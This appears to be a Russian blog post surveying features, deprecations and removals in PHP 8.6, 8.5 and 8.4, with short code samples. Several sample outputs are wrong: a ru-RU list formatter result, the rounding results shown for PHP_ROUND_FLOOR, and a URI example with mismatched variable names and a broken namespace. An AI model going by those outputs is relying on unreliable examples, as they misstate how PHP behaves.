PHP 8.6 возможно выйдет в конце ноября 2026 года, а мы пока в этом посте будем рассматривать все RFC, которые будут появляться в течение этого года, по мере их рассмотрения и принятия.

Новый функционал

Сообщение об ошибке/исключении в json_decode теперь указывает место возникновения ошибки

До PHP 8.6 в json_decode и json_last_error_msg сообщения об ошибках содержали тип ошибки и описание, но не указывали точное место возникновения ошибки при её анализе. Начиная с PHP 8.6, все ошибки декодирования JSON пытаются включить в строку JSON местоположение, где произошла ошибка:

$json = '[{';
json_decode($json, flags: JSON_THROW_ON_ERROR);
// JsonException: Syntax error near location 1:3

$json = '[{';
try {
  json_decode($json, flags: JSON_THROW_ON_ERROR);
}
catch (JsonException $ex) {
    echo $ex->getMessage(); // "Syntax error near location 1:3"
}

json_decode('[[[[[[[[[[42]]]]]]]]]]', depth: 6);
json_last_error_msg(); // "Maximum stack depth exceeded near location 1:6"

Новая функция clamp

В PHP 8.6 появилась новая функция clamp, которая проверяет, находится ли заданное значение в пределах заданного диапазона. Если значение находится в пределах этого диапазона, возвращается исходное значение. Если оно выходит за пределы диапазона, clamp возвращается ближайший предел:

clamp(5, 0, 100); // 5
clamp(0, 0, 100); // 0
clamp(-5, 0, 100); // 0
clamp(100, 0, 100); // 100
clamp(105, 0, 100); // 100
clamp(105, 100, 100); // 100

clamp(3.01, 1.6, 4.2); // 3.01
clamp(10.0, 1.6, 4.2); // 4.2
clamp(0, M_1_PI, M_2_PI); // 0.31830988618379

clamp(5, 10, 12.5); // 10
clamp(5, 10.0, 12); // 10.0
clamp(3.14, 10, 20); // 10
clamp(3.14, 0, 20); // 3.14

PHP 8.5 был выпущен 20 ноября 2025 года, в данном посте рассмотрен новый функционал, а так же устаревание и удаление некоторых функций

В отличие от поста 4-х летней давности об PHP 7.5 - PHP 8.5 реально был запланирован и есть следующая минорная версия после PHP 8.4.

Новое в PHP 8.5

Pipe-оператор |>

В PHP 8.5 добавлен новый оператор - так называемый оператор конвейера ( |> ) для объединения нескольких вызываемых объектов слева направо, принимая возвращаемое значение левого вызываемого объекта и передавая его направо, то есть вместо этого:

$input = 'Какая_то строка.';

$output = strtolower(
    str_replace(['.', '/', '…'], '',
        str_replace(' ', '-',
            trim($input)
        )
    )
);

и этого:

$input = 'Какая_то строка.';

$temp = trim($input);
$temp = str_replace(' ', '-', $temp);
$temp = str_replace(['.', '/', '…'], '', $temp);

$output = strtolower($temp);

можно будет писать:

$output = $input 
    |> trim(...)
    |> fn (string $string) => str_replace(' ', '-', $string)
    |> fn (string $string) => str_replace(['.', '/', '…'], '', $string)
    |> strtolower(...);

Clone v2 как функция

В PHP 8.5 языковая конструкция clone теперь работает как функция, с возможностью передать вторым аргументом значения для клонируемого объекта, для их переопределения:

class Foo {
 
    public function __construct(
        private readonly int $c = 1,
    ) {}
 
    public function just_clone() {
        return clone $this;
    }
 
    public function clone_with($newC) {
        return clone($this, ["c" => $newC]);
    }
}
 
$foo = new Foo();
// object(Foo)#2 (1) { ["c":"Foo":private]=> int(1) }
var_dump($foo->just_clone());
 
// object(Foo)#2 (1) { ["c":"Foo":private]=> int(5) }
var_dump($foo->clone_with(5));

Старый способ clone $object; так же работает:

$y = clone $x;
$y = clone($x);
$y = \clone($x);
$y = clone($x, []);
$y = clone($x, [
    "foo" => $foo,
    "bar" => $bar,
]);
$y = clone($x, $array);

Новая функция curl_multi_get_handles

Расширение Curl в PHP 8.5 добавляет новую функцию curl_multi_get_handles, которая возвращает массив объектов CurlHandle из объекта CurlMultiHandle. Без этой функции для извлечения объектов CurlHandle, добавленных в CurlMultiHandle, приложению пришлось бы поддерживать список объектов CurlHandle, желательно в WeakMap:

$cm = curl_multi_init();
curl_multi_get_handles($cm);
// пустой массив

$ch1 = curl_init('https://example.com/foo');
$ch2 = curl_init('https://example.com/bar');

curl_multi_add_handle($cm, $ch1);
curl_multi_add_handle($cm, $ch2);

curl_multi_get_handles($cm);
// [$ch1, $ch2]

Новая константа PHP_BUILD_DATE

В PHP 8.5 появится новая константа PHP_BUILD_DATE, которая показывает дату и время билда PHP, ранее эти данные были доступны только из функции phpinfo(), теперь же можно будет вывести так:

echo PHP_BUILD_DATE;
// Nov 22 2025 00:00:10

Новая константа PHP_BUILD_PROVIDER

В PHP 8.5 появилась новая глобальная константа PHP с именем PHP_BUILD_PROVIDER, которая содержит переменную окружения PHP_BUILD_PROVIDER, заданную во время сборки. Чтобы объявить константу PHP_BUILD_PROVIDER, установите переменную окружения с тем же именем перед вызовом скрипта ./configure:

./buildconf
 export PHP_BUILD_PROVIDER="Example Value"
 ./configure ...
 make
 make install

echo PHP_BUILD_PROVIDER;
// "Example Value"

Новые функции get_exception_handler и get_error_handler

До PHP 8.5 не было прямого способа получить текущие установленные обработчики ошибок и исключений с помощью set_error_handler и set_exception_handler. PHP 8.5 же добавляет функции: get_error_handler и get_exception_handler, которые закроют эту потребность:

/**
 * Returns the currently set error handler, or null if none is set.
 * @return callable|null
 */
function get_error_handler(): ?callable {}

/**
 * Returns the currently set exception handler, or null if none is set.
 * @return callable|null
 */
function get_exception_handler(): ?callable {}

Пример использования:

set_error_handler(fn() => null);
get_error_handler(); // object(Closure)#1 (3) {...}

set_error_handler(fn() => null);
get_error_handler(); // object(Closure)#1 (3) {...}

Новые функции array_first и array_last

До PHP 8.5, а если быть точнее в PHP 7.3 были добавлены функции array_key_first и array_key_last, для получения первого и последнего ключа в массиве, что интересно, извлечение значений, без изменения состояния массива, было добавлено только в PHP 8.5:

• array_first - Извлечь первое значение из заданного массива, будет возвращен null если массив пуст.

• array_last - Извлечь последнее значение из заданного массива, будет возвращен null если массив пуст.

Обратите внимание, что эти функции возвращают значение null если массив пуст. Однако null так же может быть допустимым значением массива.

Примеры использования:

array_first([1, 2, 3]); // 1
array_first([2, 3]); // 2
array_first(['a' => 2, 'b' => 1]); // 2
array_first([null, 2, 3]); // null
array_first([]); // null
array_first([$object, 2, 3]); // $object
array_first([1])); // 1
array_first([true]); // true

Новая директива INI max_memory_limit для установки максимума для memory_limit

Директива PHP INI memory_limit позволяет установить максимальный объём памяти, разрешённый для использования одним запросом. При превышении этого лимита выполнение останавливается. Но memory_limit - это директива INI_ALL, то есть её можно переопределить, используя ini_set('memory_limit', '200M');

Для более точного управления этим ограничением в PHP 8.5 появилась новая INI-директива max_memory_limit. При установке значения max_memory_limit - оно становится максимальным значением, которое разрешено установить memory_limit. Она установлена ​ по умолчанию значением -1, то есть это ограничение отключено по умолчанию. max_memory_limit - это INI_SYSTEM INI-директива, то есть её нельзя изменить во время выполнения:

max_memory_limit=256M
memory_limit=128M

ini_get('max_memory_limit'); // "256M";
ini_get('memory_limit'); // "128M";

ini_set('memory_limit', '200M'); // Разрешено
ini_set('memory_limit', '256M'); // Разрешено

ini_set('memory_limit', '300M'); // Запрещено

Warning: Failed to set memory_limit to 314572800 bytes. Setting to max_memory_limit instead (currently: 268435456 bytes) in ... on line ...

Атрибут #[NoDiscard] rfc

Данное RFC вводит в PHP 8.5 новый атрибут #[NoDiscard], позволяющий указать, что возвращаемое значение функции или метода "важно" и что отсутствие каких-либо действий с возвращаемым значением, вероятно, является ошибкой:

#[NoDiscard("you must use this return value, it's very important.")]
function foo(): string {
    return 'bar';
}

// Предупреждение: 
// Ожидается, что возвращаемое значение функции foo() будет использовано, 
// вы должны использовать это возвращаемое значение, это очень важно.
foo();

// Это нормально:
$string = foo();

Исключение по-прежнему можно обойти, используя новое приведение к типу void:

(void) foo();

Новое расширение URI

В PHP 8.5 представлено новое расширение URI - мощный парсер, соответствующий стандартам RFC 3986 и WHATWG URL. Теперь он входит в стандартную библиотеку PHP под именем URI, и доступен из "коробки":

use UriRfc3986Uri;

$url = new Uri('https://sergeymukhin.com/blog/chto-novogo-v-php-85');

echo $url->toString(); // https://sergeymukhin.com/blog/chto-novogo-v-php-85

echo $uri->getHost(); // sergeymukhin.com
echo $uri->getScheme(); // https
echo $uri->getPort(); // 443

Атрибуты констант

PHP 8.5 позволяет добавлять атрибуты к константам. Достать их можно будет с помощью ReflectionClassConstant::getAttributes() или ReflectionConstant::getAttributes(). Встроенный атрибут #[Deprecated]также работает с константами, поэтому вы можете отметить константы как устаревшие и вывести предупреждения:

#[MyAttribute]
const A = 1;

#[Deprecated(reason: 'Не использовать, лучше обратитесь к A')]
const B = 2; 

Следует отметить, что атрибуты нельзя применить для констант, определённых с помощью define(), а только объявленных с помощью const.

Улучшения замыкания

Замыкания и callable объекты первого класса теперь можно использовать в константных выражениях. На практике это означает, что вы сможете определять замыкания в атрибутах, что является невероятной новой возможностью:

#[SkipDiscovery(static function (Container $container): bool {
    return ! $container->get(Application::class) instanceof ConsoleApplication;
})]
final class BlogPostEventHandlers
{ /* … */ }

или так:

class Foo {
    // Static closure as a constant
    public const UPPER = static function (string $v): string { return strtoupper($v); };

    // First-class callable as a constant
    public const LOWER = 'strtolower'(...);
}

Поддержка трассировки стека для фатальных ошибок

В PHP 8.5 добавлен новый функционал, благодаря которому сообщения о фатальных ошибках содержат полную трассировку стека. Как это было до 8.5:

Fatal error: Allowed memory size of 2097152 bytes exhausted (tried to allocate 5242912 bytes) in ... on line ...

и как после:

Fatal error: Allowed memory size of 2097152 bytes exhausted (tried to allocate 5242912 bytes) in /var/www/test/php85/error_handlers.php on line 6
Stack trace:
#0 file.php(...): str_repeat('A', 5242880)
#1 file.php(...): my_function()
#2 {main}

Новая функция Левенштейна для группы графем

Функция grapheme_levenshtein() вычисляет расстояние Левенштейна с учетом Unicode, которое понимает группы графем (то, что пользователи воспринимают как символы), и позволяющая точно сравнивать строки, что идеально подходит для таких случаев как "café":

grapheme_levenshtein('café', 'cafe'); // 1

Устаревание магических методов __sleep() и __wakeup()

С PHP 8.5 будет постепенное выведение из употребления магических методов __sleep() и __wakeup(), в документации будут помечены как устаревшие, и вместо них будет предложено использовать __serialize()/__unserialize()

Асимметричная видимость для статических свойств

В RFC по асимметричной видимости PHP 8.4 намеренно не реализована поддержка асимметричной видимости для статических свойств из-за ожидаемой сложностью реализации и относительно небольшим количеством вариантов использования. PHP 8.5 позволит статическим свойствам в PHP так же иметь асимметричную видимость:

class Example
{
    public private(set) static string $classTitle = 'Example class';
 
    // Implicitly public-read, just like object properties.
    protected(set) static int $counter = 0;
 
    public static function changeName(string $name): void
    {
        // From private scope, so this is allowed.
        self::$classTitle = $name;
    }
}
 
print Example::$classTitle; // Можно
 
Example::$classTitle = 'Nope'; // Нельзя.

Расширение OPCache всегда загружаемое

В PHP 8.5 OPcache будет обязательной частью PHP. OPcache будет статически скомпилировано в PHP, как ext/date, ext/hash , ext/pcre, ext/random, ext/standard и другие.

Final свойств объявленных в конструкторе

В PHP 8.5 теперь есть возможность задать модификатор final для свойств заданных в конструкторе, т.е. раньше делали так:

class User {
    final public string $name;

    public function __construct(string $name) {
        $this->name = $name;
    }
}

а теперь можно так:

class User {
    public function __construct(
        final string $name
    ) {}
}

Новая опция INI --diff

Небольшое, но мощное дополнение CLI: php --ini=diff выводит только те настройки INI, которые отличаются от встроенных значений PHP по умолчанию, что отлично подходит для быстрой диагностики:

php --ini=diff

// Non-default INI settings:
// html_errors: "1" -> "0"
// implicit_flush: "0" -> "1"
// max_execution_time: "30" -> "0"

Поддержка атрибута #[Deprecated] в трейтах

Атрибут #[Deprecated] был представлен в PHP 8.4 и мог использоваться для выдачи предупреждений об устаревании при вызове функции (или метода класса) или при обращении к константе класса (или в случае перечисления). Начиная с версии 8.5, предупреждения об устаревании также могут выдаваться для трейта:

#[Deprecated]
trait DemoTrait {}
 
class DemoClass {
	use DemoTrait;
}
 
// Reports:
// Deprecated: Trait DemoTrait used by DemoClass is deprecated in %s on line %d
?>

Новая функция locale_is_right_to_left и метод Locale::isRightToLeft

Расширение Intl получило несколько улучшений. Новая функция locale_is_right_to_left() (и соответствующий метод Locale::isRightToLeft()) помогает определить, использует ли локаль письмо справа налево:

locale_is_right_to_left ( 'ru-RU' );   // false 
locale_is_right_to_left ( 'en-US' );   // false
locale_is_right_to_left ( 'ar-SA' );   // true 
locale_is_right_to_left ( 'he-IL' );   // true

Также появился новый класс IntlListFormatter для создания списков с учетом локали:

$formatter = new IntlListFormatter('en-US');
echo $formatter->format(['Paris', 'London', 'Moscow']);
// "Paris, London, and Moscow"

$formatter = new IntlListFormatter('ru-RU');
echo $formatter->format(['Париж', 'Лондон', 'Москва']);
// "Paris, London и Tokyo"

Улучшенный класс Directory

Теперь в PHP 8.5 класс Directory был изменён так, что теперь он ведёт себя как строгий, немодифицируемый ресурсный объект. Эти объекты ресурсов, как правило, нельзя создать с помощью new, сериализовать или клонировать, и, как правило, они ведут себя не как обычные классы.

То есть new Directory() использовать будет невозможно. Способ создания экземпляра класса - использование функции dir.

#[Override] можно применять к свойствам

Так же, как раньше можно было отмечать методы, переопределяющие реализацию родительского класса, теперь можно применять атрибут #[Override] к свойствам. Как и в случае с методами, PHP выдаст ошибку, если свойство фактически ничего не переопределяет:

class P {
    abstract public mixed $p { get; }
}
 
class C extends P {
    #[Override]
    public mixed $p;
}

trait T {
    #[Override]
    public mixed $p;
}
 
interface I {
    public mixed $p { get; }
}
 
class C implements I {
    use T;
}

class C {
    #[Override]
    public mixed $c; // Fatal error: C::$c has #[Override] attribute, but no matching parent property exists
}

Устаревшее в PHP 8.5

Все MHASH_*константы устарели

В PHP 8.1 все mhash функции были объявлены устаревшими: mhash, mhash_​count, mhash_​get_​block_​size, mhash_​get_​hash_​name, и mhash_​keygen_​s2k. Однако константы, которые эти функции принимали в качестве параметров, не были объявлены устаревшими. В PHP 8.5 все константы MHASH_* объявлены устаревшими вместе с существующим устареванием функций mhash:

mhash(MHASH_SHA1, 'test');

Constant MHASH_SHA1 is deprecated ....
Function mhash() is deprecated since 8.1 ...

Устарели альтернативные приведения скалярных типов (boolean|double|integer|binary)

Скалярное приведение типов в PHP допускает некоторые вариации. Например, можно привести переменную к целому числу, используя как (int) так и (integer), например:

$value = '42';

(integer) $value; //int(42)
(int) $value; //int(42)

Но те же альтернативные имена типов не поддерживаются в типах параметров, возвращаемых значений или свойств:

function test(integer $value): double {}

Warning: "double" will be interpreted as a class name. Did you mean "float"? Write "double" to suppress this warning in ... on line ...
Warning: "integer" will be interpreted as a class name. Did you mean "int"? Write "integer" to suppress this warning in ... on line ...

Из-за этой непоследовательности PHP 8.5 прекращает поддержку четырех альтернативных имен скалярных типов:

• (integer)

• (double)

• (boolean)

• (binary)

Рекомендуется заменить их на (int), (float), (bool), (string)

Удаленное из PHP 8.5

CLI/CGI: опция -z/--zend-extension

До версии PHP 8.5 в справке исполняемого файла PHP ( php --help/ php -h) отмечалось, что он поддерживает -z (--zend-extension) - возможность загрузки расширения Zend перед выполнением заданного файла или запуском интерпретатора:

php --help

Usage: php [options] [-f] <file> [--] [args...]
   php [options] -r <code> [--] [args...]
   php [options] [-B <begin_code>] -R <code> [-E <end_code>] [--] [args...]
   php [options] [-B <begin_code>] -F <file> [-E <end_code>] [--] [args...]
   php [options] -S <addr>:<port> [-t docroot] [router]
   php [options] -- [args...]
   php [options] -a

  -a               Run as interactive shell (requires readline extension)
...
  -z <file>        Load Zend extension <file>
...

В PHP 8.5 оба параметра -z и --zend-extension удалены, поскольку они не работают во всех версиях PHP. Альтернатива -d на основе опций совместима со всеми версиями PHP, включая PHP 8.5:

php -d zend_extension=xdebug.so script.php

PHP 8.4, был выпущен 21 ноября 2024 года

Когда выйдет PHP 8.4?

PHP 8.4, был официально выпущен 21 ноября 2024 года.

Как установить и протестировать PHP 8.4?

Установить можно по аналогии с установкой PHP 8.3 заменив версию на правильную.

Новый JIT-движок

Как вы знаете JIT появился в PHP 8.0 и представлял из себя компиляцию "на лету" - Just In Time, в PHP 8.4 будет новый JIT-движок. Теперь это настоящий оптимизирующий компилятор с промежуточным представлением, аналогичный серверному компилятору Java HotSpot

phpinfo отображает информации о размере целочисленного типа (int) PR

Вывод phpinfo() в PHP 8.4 показывает размер целого числа, поддерживаемый текущей настройкой PHP в битах, также включается в выходные данные PHP CLI:

Ранее все предыдущие версии (начиная с PHP 5.0.5) поддерживали константы PHP_INT_SIZE для определения размера целого числа.

Поддержка AEGIS-128L и AEGIS256 в Sodium

AEGIS - это семейство алгоритмов шифрования с проверкой подлинности на основе AES, которые работают быстрее, чем AES-GCM. Расширение Sodium в PHP 8.4 поддерживает алгоритмы шифрования AEGIS-128L и AEGIS256, если расширение Sodium скомпилировано с версией libsodium 1.0.19 или новее. Расширение Sodium в PHP 8.4 добавляет шесть новых функций и четыре новые константы PHP для AEGIS-128L и AEGIS-256AEAD.

Новые функции array_find, array_find_key, array_any, array_all RFC

В PHP 8.4 добавлены четыре новые функции для работы с массивами, для поиска и проверки элементов с помощью функции обратного вызова:

• array_find - Возвращает значение первого элемента из массива, для которого возвращается результат callback = true;

• array_find_key - Возвращает ключ первого элемента из массива, для которого возвращается результат callback = true;

• array_all - Возвращает true, если все элементы в массиве соответствует условию callback

• array_any - Возвращает true, если хотя бы один элемент в массиве соответствует условию callback

function isEven(int $value): bool {
    return $value % 2 === 0;
}

array_find([1, 2, 3, 4, 5], 'isEven');
// 2

...

function isEven(int $value): bool {
    return $value % 2 === 0;
}

array_find_key(['foo' => 1, 'bar' => 2, 'baz' => 3], 'isEven');
// "bar"

...

array_all(
    ['foo@example.com', 'bar@example.com', 'baz@example.com'],
    fn($value) => filter_var($value, FILTER_VALIDATE_EMAIL),
);
// true

...

array_any(
    ['foo@example.com', 'https://sergeymukhin.com', 'foobar'],
    fn($value) => filter_var($value, FILTER_VALIDATE_URL),
);
// true

Новые константы для Curl CURL_HTTP_VERSION_3 и CURL_HTTP_VERSION_3ONLY для поддержки HTTP/3

Расширение PHP Curl способно выполнять HTTP-запросы HTTP/3 (также известный как QUIC), если расширение Curl скомпилировано с необходимыми зависимостями для HTTP/3. В PHP 8.4 расширение Curl объявляет две следующие новые константы PHP, которые являются принятыми параметрами для CURLOPT_HTTP_VERSIONопции Curl.

• CURL_HTTP_VERSION_3 ( = int 30)

• CURL_HTTP_VERSION_3ONLY ( = int 31)

$ch = curl_init("https://sergeymukhin.com/");
curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_3);
curl_exec($ch);

Новые функции http_get_last_response_headers и http_clear_last_response_headers

В PHP 8.4 добавлены две новые функции, http_get_last_response_headers и http_clear_last_response_headers, которые можно использовать для получения и очистки HTTP-заголовков последнего HTTP ответа, которые могут заменить легендарную переменную $http_response_header.

Новая функция bcdivmod в расширении BCMath

Расширение BCMath в PHP 8.4 представляет новую функцию bcdivmod которая делит заданное число на заданный делитель и возвращает как частное, так и остаток, и это позволяет избежать необходимости вызывать функции bcdiv и bcmod по отдельности:

echo bcdivmod('42', '10');
// ["4", "2"]

echo bcdivmod("10", "10");
// ["1", "0"]

Новый метод DateTime createFromTimestamp

До PHP 8.4, чтобы создать экземпляр DateTime или DateTimeImmutable из временной метки UNIX, его нужно было создать с помощью createFromFormat:

$dt = DateTimeImmutable::createFromFormat('U', (string) 1703485481);
$dt->format('Y-m-d'); // "2023-12-25"

С PHP 8.4 классы DateTime и DateTimeImmutable в PHP 8.4 имеют новый метод createFromTimeStamp, позволяющий легко создать экземпляр из заданной временной метки UNIX в виде целого числа или значения с плавающей запятой.

$dt = DateTimeImmutable::createFromTimeStamp(1703485481);
$dt->format('Y-m-d'); //"2023-12-25"

Новые методы DateTime(Immutable)::get/setMicrosecond

Теперь классы DateTime и DateTimeImmutable в PHP 8.4 и более поздних версиях будут поддерживать методы getMicrosecond и setMicrosecond для получения и установки количества микросекунд для объектов DateTime/ DateTimeImmutable:

$date = new DateTimeImmutable(); 

$date->getMicrosecond(); // (int) 899561

$date = new DateTime(); 

$date->setMicrosecond(426286);
$date->getMicrosecond(); // (int) 426286

Новые функции mbstring: mb_trim, mb_ltrim, и mb_rtrim

В PHP 8.4 будут добавлены эквивалентные мультибайтные функции существующих trim, ltrim, и rtrim:

function mb_trim(string $string, string $characters = '...'): string

function mb_ltrim(string $string, string $characters = '...', ?string $encoding = null): string {}

function mb_rtrim(string $string, string $characters = '...', ?string $encoding = null): string {}

Новые функции mb_ucfirst и mb_lcfirst

В PHP есть функции ucfirst и lcfirst для изменения регистра первого символа в заданной строке. В PHP 8.4 расширение mbstring добавляет функции mb_ucfirst и mb_lcfirst в качестве многобайтовых безопасных альтернатив функциям ucfirst и lcfirst:

mb_ucfirst('test'); // Test
mb_ucfirst('тест'); // Тест

mb_lcfirst('Test'); // test
mb_lcfirst('Тест'); // тест

Новая функция request_parse_body

В PHP 8.4 добавлена ​​новая функция request_parse_body, которая предоставляет встроенную функциональность анализа запросов для других методов HTTP-запросов,таких как например PUT, DELETE и PATCH. Функция request_parse_body считывает все содержимое, которое доступно в потоке php://input и создает значения, которые можно использовать в переменных $_POST и $_FILES:

[$_POST, $_FILES] = request_parse_body();

Хуки свойств

Итак, наконец-то долгожданная обнова случилась и в PHP 8.4 у нас появятся полноценные свойства, с возможностью задавать хуки get и set (а в будущем и не только их):

class User 
{
    public string $name {
        set {
            if (strlen($value) === 0) {
                throw new ValueError("Name must be non-empty");
            }
            $this->name = $value;
        }
        get {
            return strtoupper($this->name);
        }
    }
 
    public function __construct(string $name) {
        $this->name = $name;
    }
}

Что примечательно, благодаря этому RFC так же можно асимметрично объявлять публичные свойства в интерфейсах. Класс реализации может предоставить свойство через обычное свойство или хуки:

interface I
{
    // Класс, реализующий интерфейс ДОЛЖЕН иметь публичное свойство,
    public string $readable { get; } 
    // Класс реализации ДОЛЖЕН иметь публичное свойство для записи,
    public string $writeable { set; } 
    // Класс реализации ДОЛЖЕН иметь свойство, которое является публичным и
    // доступно для чтения и записи.
    public string $both { get; set; }
}

Ассиметричная видимость свойств RFC

Одной из интересной особенностью PHP 8.4 является асимметричная видимость. Асимметричная видимость позволяет свойствам класса определять свою видимость (public, protected, или private) на основе контекста чтения или записи. Наиболее распространенным примером асимметричной видимости являются публичные свойства, которые можно изменять только изнутри класса. Такое свойство будет выглядеть следующим образом:

class BookModel
{
    public private(set) Author $author;
}

Поскольку публичные свойства, которые могут быть изменены только в частном контексте, являются наиболее распространенным вариантом использования асимметричной видимости, также доступна сокращенная запись:

class  BookModel
{
    private(set) Author $author; // то же самое, что и public private(set)
}

И конечно же, вы также можете сделать свойства доступными для записи только в пределах protected области:

class BookModel
{
    public protected(set) Author $author;
}

Синтаксис для свойств в конструкторе:

public function __construct(
    private(set) Author $author;
) {}

Lazy (ленивые) объекты RFC

В PHP 8.4 наконец-то добавлена ​​встроенная поддержка ленивых объектов - распространенного шаблона, используемого фреймворками для создания прокси-объектов, ленивая загрузка объектов в PHP уже используется в критически важных для бизнеса ситуациях. Например, Symfony использует их в своем компоненте внедрения зависимостей для предоставления ленивых сервисов, которые полностью инициализируются только при необходимости. Некоторые ORM делает свои сущности ленивыми, позволяя объектам гидратировать себя из базы данных только при обращении.

$initializer = static function (MyClass $proxy): MyClass {
    return new MyClass(123);
};
 
$reflector = new ReflectionClass(MyClass::class);

$object = $reflector->newLazyProxy($initializer);

Вывод feature_list в функции curl_version() расширения Curl

Функция curl_version в расширении Curl возвращает ассоциативный массив, содержащий информацию о версии и сборке Curl. Сюда входит версия Curl, имя и версия библиотеки SSL, версии Brotli и libz, список протоколов, поддерживаемых сборкой Curl, и битовая маска всех функций, поддерживаемых Curl. Битовая маска функций не позволяет интуитивно обнаружить и легко проверить, поддерживается ли конкретная функция (например, HTTP/2, HSTS и т. д.) в Curl.

В PHP 8.4 функция curl_version возвращает дополнительный ключ массива с именем feature_list, содержащий массив функций Curl и информацию о том, поддерживаются ли они:

curl_version();

//[
   "version_number" => 524801,
   "age" => 10,
   "features" => 1438631837,
    "feature_list" => [
      "AsynchDNS" => true,
      "CharConv" => false,
      "Debug" => false,
      // ...
      "HTTP2" => true,
      "HTTPS_PROXY" => true,
      "BROTLI" => true,
      "ALTSVC" => true,
      "HTTP3" => false,
      "ZSTD" => true,
      "HSTS" => true,
      // ...
    ],
   "ssl_version_number" => 0,
   "version" => "8.4.0",
   "host" => "x86_64-pc-linux-gnu",
   // ...
 ]

Новые режимы округления в функции round()

Функция round() округляет значение с плавающей точкой до ближайшего целого числа или десятичного значения указанной точности. Она поддерживает различные режимы округления, а PHP 8.4 добавляет четыре новых метода округления:

• PHP_ROUND_CEILING: Округляет число до ближайшего целого числа, большего, чем число, превращая 1.1 и 1.5 в 2, а -1.1 и -1.5 в -1.

• PHP_ROUND_FLOOR: Округляет число до ближайшего целого числа, меньшего числа, превращая 1.1 и 1.9 в -1 , а -1.9 и -1.1 в -2. Возвращаемое значение идентично возвращаемому значению функции floor.

• PHP_ROUND_TOWARD_ZERO: Округляет число в сторону нуля, превращая 1.9 и 1.1 в 1, а -1.9 и -1.9 в -1.

• PHP_ROUND_AWAY_FROM_ZERO: Округляет число от нуля, превращая 1.1 и 1.9 в 2, а -1,1 и -1.9 в -2 .

round(1.1, precision: 0, mode: PHP_ROUND_CEILING); // 2
round(1.1, precision: 1, mode: PHP_ROUND_FLOOR); // -1
round(1.9, precision: 0, mode: PHP_ROUND_TOWARD_ZERO); // 1
round(1.9,  precision: 0, mode: PHP_ROUND_AWAY_FROM_ZERO); // 2

Улучшение обратных вызовов в ext/dom и ext/xsl

В PHP 8.4 будет улучшена поддержка вызываемых типов XSLTProcessor::registerPHPFunctions() и DOMXPath::registerPhpFunctions() методов:

function my_callback(string $href): bool {
    return preg_match("/cat/", $href);
}
$xpath = new DOMXPath($doc);

// Это необходимо для разрешения имени php в выражении php:function ниже
$xpath->registerNamespace("php", "http://php.net/xpath");

// При этом функция "my_callback" регистрируется в XPath, так что может быть вызвана
$xpath->registerPhpFunctions("my_callback");

// При этом выбираются все теги <a>, где my_callback (содержимое их атрибута href) возвращает true.
$results = $xpath->evaluate("//a[php:function('my_callback', string(@href))]");
foreach ($results as $result) {
    echo "Found ", $result->textContent, "
";
}

/*
Found Jill
Found Kes
Found Minou
Found Tessa
*/ 

Изменения синтаксиса/функциональности

Exit/die переход с языковых конструкций на функции

Ключевое слово exit и его псевдоним die - это языковые конструкции, которые выводят сообщение и завершают текущий скрипт. В приложениях CLI exit/die может использоваться для завершения приложения с заданным кодом выхода. В PHP 8.4 exit/die будут являться функциями. Они будет иметь специальную обработку, позволяющую вызывать их без скобок для обеспечения обратной совместимости со старыми приложениями:

function exit(string|int $status = 0): never {}

exit; //валидно так же

Создание экземпляров класса без дополнительных круглых скобок

В PHP 8.4 появилась возможность опускать дополнительные скобки при new выражении, т.е. вместо:

$request = (new Request())->withMethod('GET');

можно писать такой синтаксис:

$request = new Request()->withMethod('GET'); 

Хеширование паролей: алгоритмическая сложность Bcrypt по умолчанию изменена с 10 на 12

В PHP 8.4 параметр cost алгоритма PASSWORD_BCRYPT/PASSWORD_DEFAULT изменился с 10 на 12, чтобы сделать пароли более устойчивыми и сложными.

Это изменение по существу эквивалентно:

password_hash("some password", PASSWORD_BCRYPT, ["cost" => 12]);

Способ отключения JIT по умолчанию rfc

До PHP 8.4 JIT был отключен по умолчанию, используя значение по умолчанию opcache.jit_buffer_size=0 вместо opcache.jit=disable. Это фактически отключает JIT не потому, что jit=disable, а потому что размер буфера установлен равный 0.

В этом RFC предлагается изменить эти значения по умолчанию на выключенный jit и размер буфера на 64 мегабайт:

opcache.jit=disable
opcache.jit_buffer_size=64m

Тип констант PHP_ZTS и PHP_DEBUG изменен с int на bool

PHP_ZTS и PHP_DEBUG - две глобальные константы PHP, которые предоставляют информацию о текущей среде выполнения PHP.

• PHP_ZTS: Указывает, является ли текущая сборка PHP потокобезопасной.

• PHP_DEBUG: Указывает, является ли текущая сборка PHP отладочной сборкой.

До PHP 8.4 эти две константы содержали целочисленные значения: 0 когда отключено и 1 когда включено. Начиная с PHP 8.4 и более поздних версий, они изменились на логические значения .

if (PHP_ZTS === 1) {} //было

if (PHP_ZTS) {} //стало

Минимальная требуемая версия OpenSSL увеличена до 1.1.1

Это изменение увеличивает минимальную поддерживаемую версию библиотеки OpenSSL для расширения PHP OpenSSL до 1.1.1. За исключением серии RHEL/CentOS 7 , операционная система, скорее всего, предоставляет OpenSSL версии 1.1.1 или более поздней, и, таким образом, это изменение не окажет никакого влияния. RHEL/CentOS 7 прекращает свое существование на момент выпуска PHP 8.4.

Устаревшие функции

Неявные типы, допускающих NULL

В PHP наблюдалось странное поведение, при котором типизированная переменная со значением null по умолчанию автоматически становилась nullable. PHP 8.4 теперь не поддерживает неявно обнуляемые типы. Все объявления типов, имеющие значение по умолчанию null, но без объявления null в объявлении типа, выдают уведомление об устаревании:

function test(string $value = null) {}

//выдаст
//Implicitly marking parameter $value as nullable is deprecated, the explicit nullable type must be used instead

Рекомендуется привести к явному виду:

function test(?string $test = null) {}
//или
function test(string|null $test = null) {}

test('PHP'); // нормально
test(null); // нормально

Curl: CURLOPT_BINARYTRANSFER

Константа CURLOPT_BINARYTRANSFER, предоставляемая расширением Curl, устарела в PHP 8.4. Эта константа не имела никакого эффекта, начиная с PHP 5.1.2.

Константа E_STRICT устарела

Константа E_STRICT устарела в PHP 8.4. Использование константы в любом месте кода PHP теперь выдает уведомление об устаревании:

error_reporting(E_ALL & ~E_DEPRECATED & ~E_STRICT);

//Constant E_STRICT is deprecated

Вызов session_set_save_handler() с более чем 2 аргументами устарел RFC

session_set_save_handler('my_session_open', 'my_session_close', 'my_session_read', 'my_session_write', 'my_session_destroy', 'my_session_gc');

//Deprecated: Calling session_set_save_handler() with more than 2 arguments is deprecated in ... on line ...

Удалены функции и возможности

Pspell было перенесено из PHP Core в PECL

